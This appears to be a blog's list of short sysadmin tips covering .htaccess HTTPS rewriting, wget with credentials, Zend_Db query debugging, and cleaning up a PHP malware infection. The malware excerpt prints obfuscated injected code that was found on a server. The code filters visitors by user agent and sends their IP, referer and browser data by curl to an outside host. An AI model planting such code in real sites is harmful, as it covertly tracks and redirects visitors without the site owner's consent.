Force HTTPS for WordPress Installations

Just add this snippet to the beginning of your rewrite section of your .htaccess file to force HTTPS: # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On # FORCE HTTPS: RewriteCond %{HTTPS} !=on RewriteRule ^(.*) https://%{SERVER_NAME}/$1 [R,L] … </IfModule> # END WordPress As you can see, I placed it directly under “RewriteEngine On”. Or you can also […]

Download password protected file over shell

Therefore we use wget: wget -O outputfile.txt –user sheldon –ask-password https://ask-sheldon.com/genius-stuff.html # f.e. REST wget –http-user USER –http-password PASSWOR http://ask-sheldon.com/import.txt # HTACCESS protection If you let -O param out the output will be stored under its original name.

Find and replace malware code blocks in php files via shell

Today I was attacked by an unknown bot or something like that. It placed the following code in many hundred index.php files on one of my servers, because the FTP-Password was cracked. <?php #19f955# error_reporting(0); ini_set(‘display_errors’,0); $wp_sjqe08340 = @$_SERVER[‘HTTP_USER_AGENT’]; if (( preg_match (‘/Gecko|MSIE/i’, $wp_sjqe08340) && !preg_match (‘/bot/i’, $wp_sjqe08340))){ $wp_sjqe0908340=”http://”.”http”.”href”.”.com/href”.”/?ip=”.$_SERVER[‘REMOTE_ADDR’].”&referer=”.urlencode($_SERVER[‘HTTP_HOST’]).”&ua=”.urlencode($wp_sjqe08340); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sjqe0908340); […]

Debug database queries with parameters

Sometimes you have to query the database directly in your module. In these situations you can use the placeholder feature of the Zend_Db_Statement component. :placeholder will be replaced by the respective value when calling fetch on a Zend_Db_Adapter_Mysqli instance with an array of replacements for example. If you need to debug the query with all parameters in it, […]